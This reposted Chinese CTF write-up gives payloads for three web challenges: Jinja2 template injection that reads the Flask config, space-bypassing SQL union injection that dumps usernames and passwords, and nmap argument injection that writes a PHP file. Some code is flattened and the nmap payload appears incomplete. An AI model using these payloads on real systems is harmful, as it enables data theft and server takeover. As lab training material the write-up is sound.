WEB shrine模板注入nmap的基本使用#yyds干货盘点#(web浏览器)

网友投稿 389 2022-10-05


WEB shrine模板注入nmap的基本使用#yyds干货盘点#(web浏览器)

[WesternCTF2018]shrine

import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)

打开题目源码长这样 一点都不整齐 需要我们手动去修改,整理过后

import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)

代码审计 代码中给出了两个路由,第一个是用来显示源代码的 第二个路由在shrine路径下提交参数,模板中设定 包括的内容为后端变量,

app.config['FLAG'] = os.environ.pop('FLAG') 表示注册了一个名为FLAG的config,可能就是flag,如果没有过滤config,可以{{config}}即可查看所有app.config内容, return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s 上面这行代码把黑名单的东西遍历并设置为空 比如这一题的config和self.dict 但是Python还有一些内置函数,比如url_for和get_flashed_messages

http://3704e20a-9227-44d4-90c2-3ef0e1a9f3fa.node4.buuoj.cn:81/shrine/%7B%7B3+3%7D%7D

**/shrine/{{get_flashed_messages.__globals__['current_app'].config}}** 得到flag

[SWPU2019]Web1

#group by获取列数 -1'/**/group/**/by/**/22,'11 #查看版本 -1'/**/union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 #获取表名 -1'/**/union/**/select/**/1, (select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_colum ns/**/where/**/table_schema=schema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 ,19,20,21,'22 #获取用户名 -1'/**/union/**/select/**/1, (select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 #获取密码 -1'/**/union/**/select/**/1, (select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/sele ct*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

[网鼎杯 2020 朱雀组]Nmap

' -oG H0ne.php '

但是回显hacker 说明被黑名单了 fuzz测试 发现过滤了php 百度发现

' -oG H0ne.phtml '

' -oN H0ne.phtml '

粗体


版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。

上一篇:#yyds干货盘点# web安全day5:DNS部署与安全
下一篇:Java中常见的并发控制手段浅析
相关文章

 发表评论

暂时没有评论,来抢沙发吧~